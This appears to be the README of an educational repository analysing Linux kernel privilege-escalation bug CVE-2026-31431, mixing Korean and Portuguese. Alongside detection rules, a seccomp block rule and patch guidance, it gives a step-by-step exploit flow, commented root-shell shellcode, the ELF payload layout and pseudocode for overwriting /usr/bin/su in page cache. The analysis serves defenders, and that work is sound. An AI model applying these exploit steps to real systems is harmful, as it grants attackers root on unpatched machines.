
CVE-2026-31431에 대한 교육적 분석: AF_ALG AEAD 제자리(in-place) 연산을 통한 Linux 커널 로컬 권한 상승, 기술적 근본 원인, 탐지 및 완화 방법을 포함합니다.
교육용 기술 분석 — Dirty Pipe(2022) 이후 Linux 커널에서 가장 중요한 취약점 중 하나.
이 저장소는 연구, 학습 및 방어를 위한 것입니다. 여기에는 작동 가능한 익스플로잇이 배포되지 않습니다.
CVE-2026-31431, 일명 Copy Fail은 Linux 커널의 로컬 권한 상승(LPE — Local Privilege Escalation) 취약점입니다. 권한이 없는 모든 사용자가 몇 초 만에 root 액세스 권한을 얻을 수 있습니다.
| 속성 | 값 |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS 점수 | 7.8 HIGH |
| 유형 | 로컬 권한 상승 (LPE) |
| 하위 시스템 | crypto/algif_aead.c — AF_ALG |
| 도입 시점 | 커널 4.14 (커밋 72548b093ee3, 2017년 7월) |
| 수정 시점 | 6.18.22 / 6.19.12 / 7.0 (커밋 a664bf3d603d) |
| 발견자 | Taeyang Lee — Theori / Xint Code |
| 공개 공개 | 2026년 4월 29일 |
| 공개 PoC | 예 — 약 732바이트 Python 스크립트 |
운영 체제에 작업 메모리(page cache라고 함)가 있다고 상상해 보세요. 여기에는 사용 중인 파일의 복사본이 저장됩니다. 프로그램을 실행하면 시스템이 해당 프로그램을 이 메모리에 로드하고 디스크에서 직접 실행하는 대신 그곳에서 실행합니다.
Copy Fail을 사용하면 일반 사용자가 디스크의 원본 파일을 건드리지 않고 특수 프로그램(setuid 바이너리, 예: su 명령)의 메모리 내 복사본을 변경할 수 있습니다. 디스크의 파일은 그대로 유지되지만, 프로그램이 실행될 때 시스템은 손상된 메모리 버전을 읽습니다.
요리하는 동안 셰프의 기억 속 요리법을 바꾸는 것과 같습니다. 원본 요리책은 변하지 않지만, 나오는 요리는 완전히 달라집니다.
결과: 손상된 프로그램이 root 권한으로 공격자의 코드를 실행합니다.
특히 위험한 이유:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## 기술적으로 어떻게 작동하나요
### 흐름 개요```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
버그는 crypto/algif_aead.c에 있습니다. 2017년, 성능 향상을 위해 AEAD 연산이 in-place 방식으로 전환되었습니다.```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
`authencesn` 알고리즘은 IPsec의 Extended Sequence Number(ESN) 바이트를 재배열하기 위해 대상 버퍼를 *스크래치 공간*으로 사용합니다:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
쓰기는 VFS를 완전히 우회합니다. 수정된 페이지는 커널의 writeback 메커니즘에 의해 dirty로 표시되지 않습니다. 디스크의 파일은 그대로 유지됩니다. 해시 기반 무결성 도구(aide, tripwire, inotifywait)는 디스크를 모니터링하고 page cache를 모니터링하지 않기 때문에 아무것도 감지하지 못합니다.
이 익스플로잇은 zlib으로 압축된 160바이트의 미니 ELF를 내장합니다. 압축 해제 후, 실행 가능한 부분은 다음과 같습니다:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**최소 ELF 구조 (총 160바이트):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
커널 버전:
기능적 익스플로잇이 확인된 배포판:
필수 조건: 커널에서 CONFIG_CRYPTO_USER_API_AEAD=y 또는 =m
시스템 노출 여부 확인:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Android가 영향을 받나요?
**짧은 답변:** 기본 Android(AOSP/GKI)는 실제로 **취약하지 않지만**, 비표준 설정을 사용하는 기기는 확인이 필요합니다.
### 사전 요구사항별 분석```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. GKI에 CONFIG_CRYPTO_USER_API_AEAD 부재
Google은 기본 arm64 gki_defconfig에 이 옵션을 포함하지 않습니다. Android는 암호화를 위해 userspace의 BoringSSL을 사용하며, AF_ALG에 의존하지 않습니다.
2. SELinux enforcing
Android SELinux의 untrusted_app 도메인에는 AF_ALG에 대한 create 권한이 없습니다. socket(AF_ALG, SOCK_SEQPACKET, 0) 호출은 암호화 서브시스템에 도달하기 전에 EACCES로 거부됩니다.
3. Seccomp-bpf
Android 앱은 domain=AF_ALG인 socket()을 차단하는 seccomp 필터로 실행됩니다. 이는 타사 앱에 허용된 syscall whitelist에 포함되어 있지 않습니다.
4. setuid 바이너리 부재
Android는 기존 Linux의 setuid 모델을 사용하지 않습니다. 권한 있는 바이너리는 특정 capabilities를 사용하거나 전용 UID를 가진 서비스로 실행됩니다. 프로덕션 AOSP 빌드에는 /usr/bin/su가 없습니다.
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
adb shell getenforce
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
---
## 감지
### Falco (런타임 감지)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### 시스템이 손상되었는지 확인```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo pacman -Syu linux sudo reboot
uname -r
**시리즈별 수정 버전:**
| 시리즈 | 수정 버전 |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (수정 포함) |
### 옵션 2 — algif_aead 비활성화 (임시 해결책)
**`CONFIG_CRYPTO_USER_API_AEAD=m`(로드 가능한 모듈)인 경우:**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
CONFIG_CRYPTO_USER_API_AEAD=y(내장 — RHEL/Rocky/CloudLinux의 경우):
⚠️ 위 명령은 모듈이 커널에 컴파일되어 내장된 경우 작동하지 않습니다.```bash
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
cat /proc/cmdline | grep algif_aead_init
**워크어라운드가 작동 중인지 확인하기:**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
workaround 호환성:
algif_aead 차단은 dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH에는 영향을 미치지 않습니다. AF_ALG를 AEAD에 명시적으로 사용하는 애플리케이션에만 영향을 미칩니다(드묾 — 예: afalg 엔진을 사용하는 OpenSSL, 하드웨어 암호화 오프로드).
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
---
## 학습용 구현
이 저장소는 교육 목적으로 익스플로잇 메커니즘을 여러 언어로 문서화합니다. 초점은 공격 도구를 배포하는 것이 아니라 취약점이 **어떻게** 작동하는지 이해하는 데 있습니다.
### 메커니즘 구조 (의사 코드)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
copyfail_study.md 파일에는 완전하고 주석이 달린 구현이 포함되어 있습니다.
(PoC의 zlib 압축 해제 후) 복구된 셸코드는 다음을 수행합니다:```
Total: 26 bytes de código + 8 bytes de string = 34 bytes de shellcode dentro de um ELF de 160 bytes.
---
## Referências
| Recurso | Link |
|---|---|
| Writeup original (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Site oficial da CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Repositório PoC original | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Patch mainline | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Análise Sysdig + Falco rule | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Análise Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Análise Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Discussão OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinux patch | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinux patch + análise workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## 면책 조항
이 저장소는 **교육 및 방어적 보안 연구 목적으로만** 제공됩니다. 여기에 포함된 내용은 다음을 대상으로 합니다:
- 공격적 및 방어적 보안 전문가
- 취약점 연구자
- 정보 보안 학생
- 위험을 이해하고 완화해야 하는 시스템 관리자
**소유자의 명시적 허가 없이 이 지식을 시스템에 사용하지 마십시오.** 컴퓨터 시스템에 대한 무단 접근은 거의 모든 관할권에서 범죄입니다 (브라질에서는 Lei 12.737/2012 — Lei Carolina Dieckmann; Lei 14.155/2021).
---
*마지막 업데이트: 2026년 5월*
*PR을 통한 기여를 환영합니다 — 교육적이고 방어적인 초점을 유지해 주세요.*
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| 유형 | CoW의 경쟁 조건 | 플래그 없는 파이프 버퍼 | AEAD의 로직 버그 |
| 신뢰성 | 경쟁 의존적(~ms) | 결정적 | 결정적 |
| 디스크 흔적 | 있음(dirty pages) | 없음 | 없음 |
| 이식성 | 광범위 | 특정 버전 | 범용(2017–2026) |
| PoC 크기 | C 약 50줄 | C 약 40줄 | Python 약 10줄 |
| 하위 시스템 | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| 발견 방식 | 수동 | 수동 | AI 지원 |
| 공격 가능 창 | 경쟁 창 | 없음 | 없음 |
| 시나리오 | 위험 |
|---|
| Magisk/KernelSU + SELinux permissive가 있는 기기 | 높음 — 모든 전제 조건이 충족될 수 있음 |
CONFIG_CRYPTO_USER_API_AEAD=y + eng 빌드가 있는 OEM 커널 | 중간 — shell 접근에 따라 다름 |
| 루팅되지 않은 기기의 악성 앱 | 없음 — SELinux + seccomp가 차단 |
| 프로덕션 빌드의 ADB | 없음 — adb root가 작동하지 않음 |
| 언어 | 설명 |
|---|
| Python (난독화 해제) | 원본 PoC의 정리되고 주석이 달린 버전 |
| NASM x86_64 | 명령어별로 주석이 달린 ELF 페이로드 |
| Go | SYS_SPLICE 및 SYS_SETSOCKOPT에 대해 syscall.RawSyscall6 직접 사용 |
| C | struct msghdr, CMSG_DATA, zlib 런타임을 사용한 구현 |